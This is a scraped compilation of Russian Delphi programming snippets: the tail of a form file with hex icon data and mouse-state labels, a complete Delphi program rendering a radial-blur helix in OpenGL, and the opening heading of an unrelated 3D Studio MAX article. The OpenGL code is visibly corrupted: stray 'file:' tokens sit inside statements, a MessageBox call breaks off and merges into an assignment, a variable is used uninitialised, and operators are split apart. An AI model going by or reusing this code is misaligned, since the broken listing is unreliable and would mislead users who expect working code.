      49DC00003DB90000319600002573000019500000D4FFD400B1FFB1008EFF8E00
      6BFF6B0048FF480025FF250000FF000000DC000000B900000096000000730000
      00500000D4FFE300B1FFC7008EFFAB006BFF8F0048FF730025FF570000FF5500
      00DC490000B93D00009631000073250000501900D4FFF000B1FFE2008EFFD400
      6BFFC60048FFB80025FFAA0000FFAA0000DC920000B97A000096620000734A00
      00503200D4FFFF00B1FFFF008EFFFF006BFFFF0048FFFF0025FFFF0000FFFF00
      00DCDC0000B9B900009696000073730000505000F2F2F200E6E6E600DADADA00
      CECECE00C2C2C200B6B6B600AAAAAA009E9E9E0092929200868686007A7A7A00
      6E6E6E0062626200565656004A4A4A003E3E3E0032323200262626001A1A1A00
      0E0E0E0000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000000000000000000000000000000000000000000000
      0000000000000000000000BABA00000000000000000000000000000000000000
      00000000000000000000C5C5C5BA000000000000000000000000000000000000
      00000000000000000000C5ABC5BA000000000000000000000000000000000000
      000000000000000000C5ABC5BA00000000000000000000000000000000000000
      00000000C500000000C5ABC5BA00000000000000000000000000000000000000
      00000000C2C50000C5ABC5BA0000000000000000000000000000000000000000
      00000000C2C3C500C5ABC5BA0000000000000000000000000000000000000000
      00000000C2C3C3C5ABBABA000000000000000000000000000000000000000000
      00000000C2C3C3C4C4C4C5C5BABAD30000000000000000000000000000000000
      00000000C2C3C3C4C4D1D1D1BAD3000000000000000000000000000000000000
      00000000C2C3C3C4C4D1D1BAD300000000000000000000000000000000000000
      00000000C2C3C4C4D1D1D1D30000000000000000000000000000000000000000
      00000000C2C3C4C4D1D1D3000000000000000000000000000000000000000000
      00000000C2C3C4D1D1BA00000000000000000000000000000000000000000000
      00000000C2C4D1D1BA0000000000000000000000000000000000000000000000
      00000000C2C4D1C5000000000000000000000000000000000000000000000000
      00000000C2C5C500000000000000000000000000000000000000000000000000
      00000000C2C50000000000000000000000000000000000000000000000000000
      00000000D0000000000000000000000000000000000000000000000000000000
      00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE7FFFFFFC3FFFFF
      FC3FFFFFF87FFFFF787FFFFF30FFFFFF10FFFFFF01FFFFFF001FFFFF003FFFFF
      007FFFFF00FFFFFF01FFFFFF03FFFFFF07FFFFFF0FFFFFFF1FFFFFFF3FFFFFFF
      7FFFFFFF}
  end
  object lbEMail: TLabel
    Left = 8
    Top = 480
    Width = 195
    Height = 13
    Caption = 'Кода Виктор, e-mail kodavic@rambler.ru'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clBlue
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
  end
  object gb1: TGroupBox
    Left = 360
    Top = 8
    Width = 129
    Height = 145
    Caption = 'Состояние мыши'
    TabOrder = 0
    object lbX0: TLabel
      Left = 17
      Top = 24
      Width = 10
      Height = 13
      Caption = 'X:'
    end
    object lbY0: TLabel
      Left = 17
      Top = 40
      Width = 10
      Height = 13
      Caption = 'Y:'
    end
    object lb1: TLabel
      Left = 16
      Top = 64
      Width = 46
      Height = 13
      Caption = 'Кнопка1:'
      Enabled = False
    end
    object lb2: TLabel
      Left = 16
      Top = 80
      Width = 46
      Height = 13
      Caption = 'Кнопка2:'
      Enabled = False
    end
    object lb3: TLabel
      Left = 16
      Top = 96
      Width = 46
      Height = 13
      Caption = 'Кнопка3:'
      Enabled = False
    end
    object lbBtn1: TLabel
      Left = 72
      Top = 64
      Width = 30
      Height = 13
      Caption = 'lbBtn1'
      Enabled = False
    end
    object lbBtn2: TLabel
      Left = 72
      Top = 80
      Width = 30
      Height = 13
      Caption = 'lbBtn2'
      Enabled = False
    end
    object lbBtn3: TLabel
      Left = 72
      Top = 96
      Width = 30
      Height = 13
      Caption = 'lbBtn3'
      Enabled = False
    end
    object lb4: TLabel
      Left = 16
      Top = 112
      Width = 46
      Height = 13
      Caption = 'Кнопка4:'
      Enabled = False
    end
    object lbBtn4: TLabel
      Left = 72
      Top = 112
      Width = 30
      Height = 13
      Caption = 'lbBtn4'
      Enabled = False
    end
    object lbX: TLabel
      Left = 72
      Top = 24
      Width = 6
      Height = 13
      Caption = '0'
    end
    object lbY: TLabel
      Left = 72
      Top = 40
      Width = 6
      Height = 13
      Caption = '0'
    end
  end
end

Взято с сайта Анатолия Подгорецкого http://podgoretsky.com
по материалам fido7.ru.delphi.*


OpenGL - радиальное размытие

// К заголовку RadialBlur(For OpenGL)
// Данный код работает правильно только, если в пректе 0 форм ,
// а сам код введен в DPR файл!

program RadialBlur;

uses
  Windows,
  Messages,
  OpenGL;

const
  WND_TITLE = 'Radial Blur';
  FPS_TIMER = 1; // Timer to calculate FPS
  FPS_INTERVAL = 1000; // Calculate FPS every 1000 ms

type
  TVector = array[0..2] of glFloat;
var
  h_Wnd: HWND; // Global window handle
  h_DC: HDC; // Global device context
  h_RC: HGLRC; // OpenGL rendering context
  keys: array[0..255] of Boolean; // Holds keystrokes
  FPSCount: Integer = 0; // Counter for FPS
  ElapsedTime: Integer; // Elapsed time between frames

  // Textures
  BlurTexture: glUint; // An Unsigned Int To Store The Texture Number

  // User vaiables
  Angle: glFloat;
  Vertexes: array[0..3] of TVector;
  normal: TVector;

  // Lights and Materials
  globalAmbient: array[0..3] of glFloat = (0.2, 0.2, 0.2, 1.0);
  // Set Ambient Lighting To Fairly Dark Light (No Color)
  Light0Pos: array[0..3] of glFloat = (0.0, 5.0, 10.0, 1.0);
  // Set The Light Position
  Light0Ambient: array[0..3] of glFloat = (0.2, 0.2, 0.2, 1.0);
  // More Ambient Light
  Light0Diffuse: array[0..3] of glFloat = (0.3, 0.3, 0.3, 1.0);
  // Set The Diffuse Light A Bit Brighter
  Light0Specular: array[0..3] of glFloat = (0.8, 0.8, 0.8, 1.0);
  // Fairly Bright Specular Lighting

  LmodelAmbient: array[0..3] of glFloat = (0.2, 0.2, 0.2, 1.0);
  // And More Ambient Light

{$R *.RES}

procedure glBindTexture(target: GLenum; texture: GLuint);
  stdcall; external opengl32;

procedure glGenTextures(n: GLsizei; var textures: GLuint);
  stdcall; external opengl32;

procedure glCopyTexSubImage2D(target: GLenum; level, xoffset,
  yoffset, x, y: GLint; width, height: GLsizei);
  stdcall; external opengl32;

procedure glCopyTexImage2D(target: GLenum; level: GLint;
  internalFormat: GLenum; x, y: GLint;
  width, height: GLsizei; border: GLint); stdcall; external opengl32;

{------------------------------------------------------------------}
{ Function to convert int to string. (No sysutils = smaller EXE) }
{------------------------------------------------------------------}
// using SysUtils increase file size by 100K

function IntToStr(Num: Integer): string;
begin
  Str(Num, result);
end;

function EmptyTexture: glUint;
var
  txtnumber: glUint;
  data: array of glUint;
  pData: Pointer;
begin
  // Create Storage Space For Texture Data (128x128x4)
  GetMem(pData, 128 * 128 * 4);

  glGenTextures(1, txtnumber); // Create 1 Texture
  glBindTexture(GL_TEXTURE_2D, txtnumber); // Bind The Texture
  glTexImage2D(GL_TEXTURE_2D, 0, 4, 128, 128, 0, GL_RGBA,
    GL_UNSIGNED_BYTE, pData);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);

  result := txtNumber;
end;

procedure ReduceToUnit(var vector: array of glFloat);
var
  length: glFLoat;
begin
  // Calculates The Length Of The Vector
  length := sqrt((vector[0] * vector[0]) + (vector[1] * vector[1]) +
    (vector[2] * vector[2]));
  if Length = 0 then
    Length := 1;

  vector[0] := vector[0] / length;
  vector[1] := vector[1] / length;
  vector[2] := vector[2] / length;
end;

procedure calcNormal(const v: array of TVector;
  var cross: array of glFloat);
var
  v1, v2: array[0..2] of glFloat;
begin
  // Finds The Vector Between 2 Points By Subtracting
  // The x,y,z Coordinates From One Point To Another.

  // Calculate The Vector From Point 1 To Point 0
  v1[0] := v[0][0] - v[1][0]; // Vector 1.x=Vertex[0].x-Vertex[1].x
  v1[1] := v[0][1] - v[1][1]; // Vector 1.y=Vertex[0].y-Vertex[1].y
  v1[2] := v[0][2] - v[1][2]; // Vector 1.z=Vertex[0].y-Vertex[1].z
  // Calculate The Vector From Point 2 To Point 1
  v2[0] := v[1][0] - v[2][0]; // Vector 2.x=Vertex[0].x-Vertex[1].x
  v2[1] := v[1][1] - v[2][1]; // Vector 2.y=Vertex[0].y-Vertex[1].y
  v2[2] := v[1][2] - v[2][2]; // Vector 2.z=Vertex[0].z-Vertex[1].z
  // Compute The Cross Product To Give Us A Surface Normal
  cross[0] := v1[1] * v2[2] - v1[2] * v2[1]; // Cross Product For Y - Z
  cross[1] := v1[2] * v2[0] - v1[0] * v2[2]; // Cross Product For X - Z
  cross[2] := v1[0] * v2[1] - v1[1] * v2[0]; // Cross Product For X - Y

  ReduceToUnit(cross); // Normalize The Vectors
end;

// Draws A Helix

procedure ProcessHelix;
const
  Twists = 5;
  MaterialColor: array[1..4] of glFloat = (0.4, 0.2, 0.8, 1.0);
  Specular: array[1..4] of glFloat = (1, 1, 1, 1);
var
  x, y, z: glFLoat;
  phi, theta: Integer;
  r, u, v: glFLoat;
begin
  glLoadIdentity(); // Reset The Modelview Matrix
  // Eye Position (0,5,50) Center Of Scene (0,0,0), Up On Y Axis
  gluLookAt(0, 5, 50, 0, 0, 0, 0, 1, 0);

  glPushMatrix(); // Push The Modelview Matrix
  glTranslatef(0, 0, -50); // Translate 50 Units Into The Screen
  glRotatef(angle / 2.0, 1, 0, 0); // Rotate By angle/2 On The X-Axis
  glRotatef(angle / 3.0, 0, 1, 0); // Rotate By angle/3 On The Y-Axis

  glMaterialfv(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE, @MaterialColor);
  glMaterialfv(GL_FRONT_AND_BACK, GL_SPECULAR, @specular);

  r := 1.5; // Radius

  glBegin(GL_QUADS); // Begin Drawing Quads
  phi := 0;
  while phi < 360 do
  begin
    theta := 0;
    while theta < 360 * twists do
    begin
      v := phi / 180 * pi; // Calculate Angle Of First Point ( 0 )
      u := theta / 180.0 * pi; // Calculate Angle Of First Point ( 0 )

      x := cos(u) * (2 + cos(v)) * r; // Calculate x Position (1st Point)
      y := sin(u) * (2 + cos(v)) * r; // Calculate y Position (1st Point)
      z := (u - (2 * pi) + sin(v)) * r; // Calculate z Position (1st Point)

      vertexes[0][0] := x; // Set x Value Of First Vertex
      vertexes[0][1] := y; // Set y Value Of First Vertex
      vertexes[0][2] := z; // Set z Value Of First Vertex

      v := (phi / 180 * pi); // Calculate Angle Of Second Point ( 0 )
      u := ((theta + 20) / 180 * pi); // Calculate Angle Of Second Point ( 20 )

      x := cos(u) * (2 + cos(v)) * r; // Calculate x Position (2nd Point)
      y := sin(u) * (2 + cos(v)) * r; // Calculate y Positio
      z := (u - (2 * pi) + sin(v)) * r; // Calculate z Position (2nd Point)

      vertexes[1][0] := x; // Set x Value Of Second Vertex
      vertexes[1][1] := y; // Set y Value Of Second Vertex
      vertexes[1][2] := z; // Set z Value Of Second Vertex

      v := (phi + 20) / 180 * pi; // Calculate Angle Of Third Point ( 20 )
      u := (theta + 20) / 180 * pi; // Calculate Angle Of Third Point ( 20 )

      x := cos(u) * (2 + cos(v)) * r; // Calculate x Position (3rd Point)
      y := sin(u) * (2 + cos(v)) * r; // Calculate y Position (3rd Point)
      z := (u - (2 * pi) + sin(v)) * r; // Calculate z Position (3rd Point)

      vertexes[2][0] := x; // Set x Value Of Third Vertex
      vertexes[2][1] := y; // Set y Value Of Third Vertex
      vertexes[2][2] := z; // Set z Value Of Third Vertex

      v := (phi + 20) / 180 * pi; // Calculate Angle Of Fourth Point ( 20 )
      u := theta / 180 * pi; // Calculate Angle Of Fourth Point ( 0 )

      x := cos(u) * (2 + cos(v)) * r; // Calculate x Position (4th Point)
      y := sin(u) * (2 + cos(v)) * r; // Calculate y Position (4th Point)
      z := (u - (2 * pi) + sin(v)) * r; // Calculate z Position (4th Point)

      vertexes[3][0] := x; // Set x Value Of Fourth Vertex
      vertexes[3][1] := y; // Set y Value Of Fourth Vertex
      vertexes[3][2] := z; // Set z Value Of Fourth Vertex

      calcNormal(vertexes, normal); // Calculate The Quad Normal

      glNormal3f(normal[0], normal[1], normal[2]); // Set The Normal

      // Render The Quad
      glVertex3f(vertexes[0][0], vertexes[0][1], vertexes[0][2]);
      glVertex3f(vertexes[1][0], vertexes[1][1], vertexes[1][2]);
      glVertex3f(vertexes[2][0], vertexes[2][1], vertexes[2][2]);
      glVertex3f(vertexes[3][0], vertexes[3][1], vertexes[3][2]);
      theta := theta + 20;
    end;
    phi := phi + 20;
  end;
  glEnd(); // Done Rendering Quads
  glPopMatrix(); // Pop The Matrix
end;

// Set Up An Ortho View

procedure ViewOrtho;
begin
  glMatrixMode(GL_PROJECTION); // Select Projection
  glPushMatrix(); // Push The Matrix
  glLoadIdentity(); // Reset The Matrix
  glOrtho(0, 640, 480, 0, -1, 1); // Select Ortho Mode (640x480)
  glMatrixMode(GL_MODELVIEW); // Select Modelview Matrix
  glPushMatrix(); // Push The Matrix
  glLoadIdentity(); // Reset The Matrix
end;

// Set Up A Perspective View

procedure ViewPerspective;
begin
  glMatrixMode(GL_PROJECTION); // Select Projection
  glPopMatrix(); // Pop The Matrix
  glMatrixMode(GL_MODELVIEW); // Select Modelview
  glPopMatrix(); // Pop The Matrix
end;

// Renders To A Texture

procedure RenderToTexture;
begin
  glViewport(0, 0, 128, 128); // Set Our Viewport (Match Texture Size)
  ProcessHelix(); // Render The Helix
  glBindTexture(GL_TEXTURE_2D, BlurTexture); // Bind To The Blur Texture

  // Copy Our ViewPort To The Blur Texture (From 0,0 To 128,128... No Border)
  glCopyTexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE, 0, 0, 128, 128, 0);
  glClearColor(0.0, 0.0, 0.5, 0.5); // Set The Clear Color To Medium Blue
  // Clear The Screen And Depth Buffer
  glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
  glViewport(0, 0, 640, 480); // Set Viewport (0,0 to 640x480)
end;

// Draw The Blurred Image

procedure DrawBlur(const times: Integer; const inc: glFloat);
var
  spost, alpha, alphainc: glFloat;
  I: Integer;
begin
  alpha := 0.2;

  glEnable(GL_TEXTURE_2D); // Enable 2D Texture Mapping
  glDisable(GL_DEPTH_TEST); // Disable Depth Testing
  glBlendFunc(GL_SRC_ALPHA, GL_ONE); // Set Blending Mode
  glEnable(GL_BLEND); // Enable Blending
  glBindTexture(GL_TEXTURE_2D, BlurTexture); // Bind To The Blur Texture
  ViewOrtho(); // Switch To An Ortho View

  alphainc := alpha / times; // alphainc=0.2f / Times To Render Blur

  glBegin(GL_QUADS); // Begin Drawing Quads
  // Number Of Times To Render Blur
  for I := 0 to times - 1 do
  begin
    glColor4f(1.0, 1.0, 1.0, alpha); // Set The Alpha Value (Starts At 0.2)
    glTexCoord2f(0 + spost, 1 - spost); // Texture Coordinate ( 0, 1 )
    glVertex2f(0, 0); // First Vertex ( 0, 0 )

    glTexCoord2f(0 + spost, 0 + spost); // Texture Coordinate ( 0, 0 )
    glVertex2f(0, 480); // Second Vertex ( 0, 480 )

    glTexCoord2f(1 - spost, 0 + spost); // Texture Coordinate ( 1, 0 )
    glVertex2f(640, 480); // Third Vertex ( 640, 480 )

    glTexCoord2f(1 - spost, 1 - spost); // Texture Coordinate ( 1, 1 )
    glVertex2f(640, 0); // Fourth Vertex ( 640, 0 )

    // Gradually Increase spost (Zooming Closer To Texture Center)
    spost := spost + inc;
    // Gradually Decrease alpha (Gradually Fading Image Out)
    alpha := alpha - alphainc;
  end;
  glEnd(); // Done Drawing Quads

  ViewPerspective(); // Switch To A Perspective View

  glEnable(GL_DEPTH_TEST); // Enable Depth Testing
  glDisable(GL_TEXTURE_2D); // Disable 2D Texture Mapping
  glDisable(GL_BLEND); // Disable Blending
  glBindTexture(GL_TEXTURE_2D, 0); // Unbind The Blur Texture
end;

{------------------------------------------------------------------}
{ Function to draw the actual scene }
{------------------------------------------------------------------}

procedure glDraw();
begin
  // Clear The Screen And The Depth Buffer
  glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
  glLoadIdentity(); // Reset The View
  RenderToTexture; // Render To A Texture
  ProcessHelix; // Draw Our Helix
  DrawBlur(25, 0.02); // Draw The Blur Effect

  angle := ElapsedTime / 5; // Update angle Based On The Clock
end;

{------------------------------------------------------------------}
{ Initialise OpenGL }
{------------------------------------------------------------------}

procedure glInit();
begin
  glClearColor(0.0, 0.0, 0.0, 0.5); // Black Background
  glShadeModel(GL_SMOOTH); // Enables Smooth Color Shading
  glClearDepth(1.0); // Depth Buffer Setup
  glDepthFunc(GL_LESS); // The Type Of Depth Test To Do

  glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
  file:
  //Realy Nice perspective calculations

  glEnable(GL_DEPTH_TEST); // Enable Depth Buffer
  glEnable(GL_TEXTURE_2D); // Enable Texture Mapping

  // Set The Ambient Light Model
  glLightModelfv(GL_LIGHT_MODEL_AMBIENT, @LmodelAmbient);

  // Set The Global Ambient Light Model
  glLightModelfv(GL_LIGHT_MODEL_AMBIENT, @GlobalAmbient);
  glLightfv(GL_LIGHT0, GL_POSITION, @light0Pos); // Set The Lights Position
  glLightfv(GL_LIGHT0, GL_AMBIENT, @light0Ambient); // Set The Ambient Light
  glLightfv(GL_LIGHT0, GL_DIFFUSE, @light0Diffuse); // Set The Diffuse Light
  // Set Up Specular Lighting
  glLightfv(GL_LIGHT0, GL_SPECULAR, @light0Specular);
  glEnable(GL_LIGHTING); // Enable Lighting
  glEnable(GL_LIGHT0); // Enable Light0

  BlurTexture := EmptyTexture(); // Create Our Empty Texture
  glShadeModel(GL_SMOOTH); // Select Smooth Shading
  glMateriali(GL_FRONT, GL_SHININESS, 128);
end;

{------------------------------------------------------------------}
{ Handle window resize }
{------------------------------------------------------------------}

procedure glResizeWnd(Width, Height: Integer);
begin
  if (Height = 0) then // prevent divide by zero exception
    Height := 1;
  glViewport(0, 0, Width, Height); // Set the viewport for the OpenGL window
  glMatrixMode(GL_PROJECTION); // Change Matrix Mode to Projection
  glLoadIdentity(); // Reset View
  gluPerspective(45.0, Width / Height, 2.0, 200.0);
  // Do the perspective calculations. Last value = max clipping depth

  glMatrixMode(GL_MODELVIEW); // Return to the modelview matrix
  glLoadIdentity(); // Reset View
end;

{------------------------------------------------------------------}
{ Processes all the keystrokes }
{------------------------------------------------------------------}

procedure ProcessKeys;
begin
end;

{------------------------------------------------------------------}
{ Determines the application's response to the messages received }
{------------------------------------------------------------------}

function WndProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM):
  LRESULT; stdcall;
begin
  case (Msg) of
    WM_CREATE:
      begin
        // Insert stuff you want executed when the program starts
      end;
    WM_CLOSE:
      begin
        PostQuitMessage(0);
        Result := 0
      end;
    // Set the pressed key (wparam) to equal true so we can check if its pressed
    WM_KEYDOWN:
      begin
        keys[wParam] := True;
        Result := 0;
      end;
    // Set the released key (wparam) to equal false so we can check if its pressed
    WM_KEYUP:
      begin
        keys[wParam] := False;
        Result := 0;
      end;
    WM_SIZE: // Resize the window with the new width and height
      begin
        glResizeWnd(LOWORD(lParam), HIWORD(lParam));
        Result := 0;
      end;
    WM_TIMER: // Add code here for all timers to be used.
      begin
        if wParam = FPS_TIMER then
        begin
          FPSCount := Round(FPSCount * 1000 / FPS_INTERVAL);
          // calculate to get per Second incase intercal is
          // less or greater than 1 second
          SetWindowText(h_Wnd, PChar(WND_TITLE + ' [' + intToStr(FPSCount)
            + ' FPS]'));
          FPSCount := 0;
          Result := 0;
        end;
      end;
  else
    // Default result if nothing happens
    Result := DefWindowProc(hWnd, Msg, wParam, lParam);
  end;
end;

{---------------------------------------------------------------------}
{ Properly destroys the window created at startup (no memory leaks) }
{---------------------------------------------------------------------}

procedure glKillWnd(Fullscreen: Boolean);
begin
  if Fullscreen then // Change back to non fullscreen
  begin
    ChangeDisplaySettings(devmode(nil^), 0);
    ShowCursor(True);
  end;

  // Makes current rendering context not current, and releases the device
  // context that is used by the rendering context.
  if (not wglMakeCurrent(h_DC, 0)) then
    MessageBox(0, 'Release of DC and RC failed!', 'Error',
      MB_OK or MB_ICONERROR);

  // Attempts to delete the rendering context
  if (not wglDeleteContext(h_RC)) then
  begin
    MessageBox(0, 'Release of rendering context failed!', 'Error',
      MB_OK or MB_ICONERROR);
    h_RC := 0;
  end;

  // Attemps to release the device context
  if ((h_DC = 1) and (ReleaseDC(h_Wnd, h_DC) < > 0)) then
  begin
    MessageBox(0, 'Release of device context failed!', 'Error',
      MB_OK or MB_ICONERROR);
    h_DC := 0;
  end;

  // Attempts to destroy the window
  if ((h_Wnd < > 0) and (not DestroyWindow(h_Wnd))) then
  begin
    MessageBox(0, 'Unable to destroy window!', 'Error', MB_OK or
      h_Wnd := 0;
  end;

  // Attempts to unregister the window class
  if (not UnRegisterClass('OpenGL', hInstance)) then
  begin
    MessageBox(0, 'Unable to unregister window class!', 'Error',
      MB_OK or MB_ICONERROR);
    hInstance := 0;
  end;
end;

{--------------------------------------------------------------------}
{ Creates the window and attaches a OpenGL rendering context to it }
{--------------------------------------------------------------------}

function glCreateWnd(Width, Height: Integer; Fullscreen: Boolean;
  PixelDepth: Integer): Boolean;
var
  wndClass: TWndClass; // Window class
  dwStyle: DWORD; // Window styles
  dwExStyle: DWORD; // Extended window styles
  dmScreenSettings: DEVMODE; // Screen settings (fullscreen, etc...)
  PixelFormat: GLuint; // Settings for the OpenGL rendering
  h_Instance: HINST; // Current instance
  pfd: TPIXELFORMATDESCRIPTOR; // Settings for the OpenGL window
begin
  h_Instance := GetModuleHandle(nil);
  file: //Grab An Instance For Our Window
  ZeroMemory(@wndClass, SizeOf(wndClass)); // Clear the window class structure

  with wndClass do // Set up the window class
  begin
    style := CS_HREDRAW or // Redraws entire window if length changes
    CS_VREDRAW or // Redraws entire window if height changes
    CS_OWNDC; // Unique device context for the window
    lpfnWndProc := @WndProc; // Set the window procedure to our func WndProc
    hInstance := h_Instance;
    hCursor := LoadCursor(0, IDC_ARROW);
    lpszClassName := 'OpenGL';
  end;

  if (RegisterClass(wndClass) = 0) then // Attemp to register the window class
  begin
    MessageBox(0, 'Failed to register the window class!', 'Error',
      MB_OK or MB_ICONERROR);
    Result := False;
    Exit
  end;

  // Change to fullscreen if so desired
  if Fullscreen then
  begin
    ZeroMemory(@dmScreenSettings, SizeOf(dmScreenSettings));
    with dmScreenSettings do
    begin // Set parameters for the screen setting
      dmSize := SizeOf(dmScreenSettings);
      dmPelsWidth := Width; // Window width
      dmPelsHeight := Height; // Window height
      dmBitsPerPel := PixelDepth; // Window color depth
      dmFields := DM_PELSWIDTH or DM_PELSHEIGHT or DM_BITSPERPEL;
    end;

    // Try to change screen mode to fullscreen
    if (ChangeDisplaySettings(dmScreenSettings, CDS_FULLSCREEN) =
      DISP_CHANGE_FAILED) then
    begin
      MessageBox(0, 'Unable to switch to fullscreen!', 'Error',
        MB_OK or MB_ICONERROR);
      Fullscreen := False;
    end;
  end;

  // If we are still in fullscreen then
  if (Fullscreen) then
  begin
    dwStyle := WS_POPUP or // Creates a popup window
    WS_CLIPCHILDREN // Doesn't draw within child windows
    or WS_CLIPSIBLINGS; // Doesn't draw within sibling windows
    dwExStyle := WS_EX_APPWINDOW; // Top level window
    ShowCursor(False); // Turn of the cursor (gets in the way)
  end
  else
  begin
    dwStyle := WS_OVERLAPPEDWINDOW or // Creates an overlapping window
    WS_CLIPCHILDREN or // Doesn't draw within child windows
    WS_CLIPSIBLINGS; // Doesn't draw within sibling windows
    dwExStyle := WS_EX_APPWINDOW or // Top level window
    WS_EX_WINDOWEDGE; // Border with a raised edge
  end;

  // Attempt to create the actual window
  h_Wnd := CreateWindowEx(dwExStyle, // Extended window styles
    'OpenGL', // Class name
    WND_TITLE, // Window title (caption)
    dwStyle, // Window styles
    0, 0, // Window position
    Width, Height, // Size of window
    0, // No parent window
    0, // No menu
    h_Instance, // Instance
    nil); // Pass nothing to WM_CREATE
  if h_Wnd = 0 then
  begin
    glKillWnd(Fullscreen); // Undo all the settings we've changed
    MessageBox(0, 'Unable to create window!', 'Error', MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Try to get a device context
  h_DC := GetDC(h_Wnd);
  if (h_DC = 0) then
  begin
    glKillWnd(Fullscreen);
    MessageBox(0, 'Unable to get a device context!', 'Error',
      MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Settings for the OpenGL window
  with pfd do
  begin
    // Size Of This Pixel Format Descriptor
    nSize := SizeOf(TPIXELFORMATDESCRIPTOR);
    nVersion := 1; // The version of this data structure
    dwFlags := PFD_DRAW_TO_WINDOW // Buffer supports drawing to window
    or PFD_SUPPORT_OPENGL // Buffer supports OpenGL drawing
    or PFD_DOUBLEBUFFER; // Supports double buffering
    iPixelType := PFD_TYPE_RGBA; // RGBA color format
    cColorBits := PixelDepth; // OpenGL color depth
    cRedBits := 0; // Number of red bitplanes
    cRedShift := 0; // Shift count for red bitplanes
    cGreenBits := 0; // Number of green bitplanes
    cGreenShift := 0; // Shift count for green bitplanes
    cBlueBits := 0; // Number of blue bitplanes
    cBlueShift := 0; // Shift count for blue bitplanes
    cAlphaBits := 0; // Not supported
    cAlphaShift := 0; // Not supported
    cAccumBits := 0; // No accumulation buffer
    cAccumRedBits := 0; // Number of red bits in a-buffer
    cAccumGreenBits := 0; // Number of green bits in a-buffer
    cAccumBlueBits := 0; // Number of blue bits in a-buffer
    cAccumAlphaBits := 0; // Number of alpha bits in a-buffer
    cDepthBits := 16; // Specifies the depth of the depth buffer
    cStencilBits := 0; // Turn off stencil buffer
    cAuxBuffers := 0; // Not supported
    iLayerType := PFD_MAIN_PLANE; // Ignored
    bReserved := 0; // Number of overlay and underlay planes
    dwLayerMask := 0; // Ignored
    dwVisibleMask := 0; // Transparent color of underlay plane
    dwDamageMask := 0; // Ignored
  end;

  // Attempts to find the pixel format supported by a device context that
  // is the best match to a given pixel format specification.
  PixelFormat := ChoosePixelFormat(h_DC, @pfd);
  if (PixelFormat = 0) then
  begin
    glKillWnd(Fullscreen);
    MessageBox(0, 'Unable to find a suitable pixel format', 'Error',
      MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Sets the specified device context's pixel format to the format
  // specified by the PixelFormat.
  if (not SetPixelFormat(h_DC, PixelFormat, @pfd)) then
  begin
    glKillWnd(Fullscreen);
    MessageBox(0, 'Unable to set the pixel format', 'Error',
      MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Create a OpenGL rendering context
  h_RC := wglCreateContext(h_DC);
  if (h_RC = 0) then
  begin
    glKillWnd(Fullscreen);
    MessageBox(0, 'Unable to create an OpenGL rendering context',
      'Error', MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Makes the specified OpenGL rendering context the calling
  // thread's current rendering context
  if (not wglMakeCurrent(h_DC, h_RC)) then
  begin
    glKillWnd(Fullscreen);
    MessageBox(0, 'Unable to activate OpenGL rendering context', 'Error',
      MB_OK or MB_ICONERROR);
    Result := False;
    Exit;
  end;

  // Initializes the timer used to calculate the FPS
  SetTimer(h_Wnd, FPS_TIMER, FPS_INTERVAL, nil);

  // Settings to ensure that the window is the topmost window
  ShowWindow(h_Wnd, SW_SHOW);
  SetForegroundWindow(h_Wnd);
  SetFocus(h_Wnd);

  // Ensure the OpenGL window is resized properly
  glResizeWnd(Width, Height);
  glInit();

  Result := True;
end;

{--------------------------------------------------------------------}
{ Main message loop for the application }
{--------------------------------------------------------------------}

function WinMain(hInstance: HINST; hPrevInstance: HINST;
  lpCmdLine: PChar; nCmdShow: Integer): Integer; stdcall;
var
  msg: TMsg;
  finished: Boolean;
  DemoStart, LastTime: DWord;
begin
  finished := False;

  // Perform application initialization:
  if not glCreateWnd(640, 480, FALSE, 32) then
  begin
    Result := 0;
    Exit;
  end;

  DemoStart := GetTickCount(); // Get Time when demo started

  // Main message loop:
  while not finished do
  begin
    // Check if there is a message for this window
    if (PeekMessage(msg, 0, 0, 0, PM_REMOVE)) then
    begin
      // If WM_QUIT message received then we are done
      if (msg.message = WM_QUIT) then
        finished := True
      else
      begin // Else translate and dispatch the message to this window
        TranslateMessage(msg);
        DispatchMessage(msg);
      end;
    end
    else
    begin
      Inc(FPSCount); // Increment FPS Counter

      LastTime := ElapsedTime;
      ElapsedTime := GetTickCount() - DemoStart; // Calculate Elapsed Time
      // Average it out for smoother movement
      ElapsedTime := (LastTime + ElapsedTime) div 2;

      glDraw(); // Draw the scene
      SwapBuffers(h_DC); // Display the scene

      if (keys[VK_ESCAPE]) then // If user pressed ESC then set finised TRUE
        finished := True
      else
        ProcessKeys; // Check for any other key Pressed
    end;
  end;
  glKillWnd(FALSE);
  Result := msg.wParam;
end;

begin
  WinMain(hInstance, hPrevInst, CmdLine, CmdShow);
end.

Взято с http://delphiworld.narod.ru


Экспорт анимированных 3D персонажей из 3D STUDIO MAX 3.0 для DELPHI и OpenGL

Введение

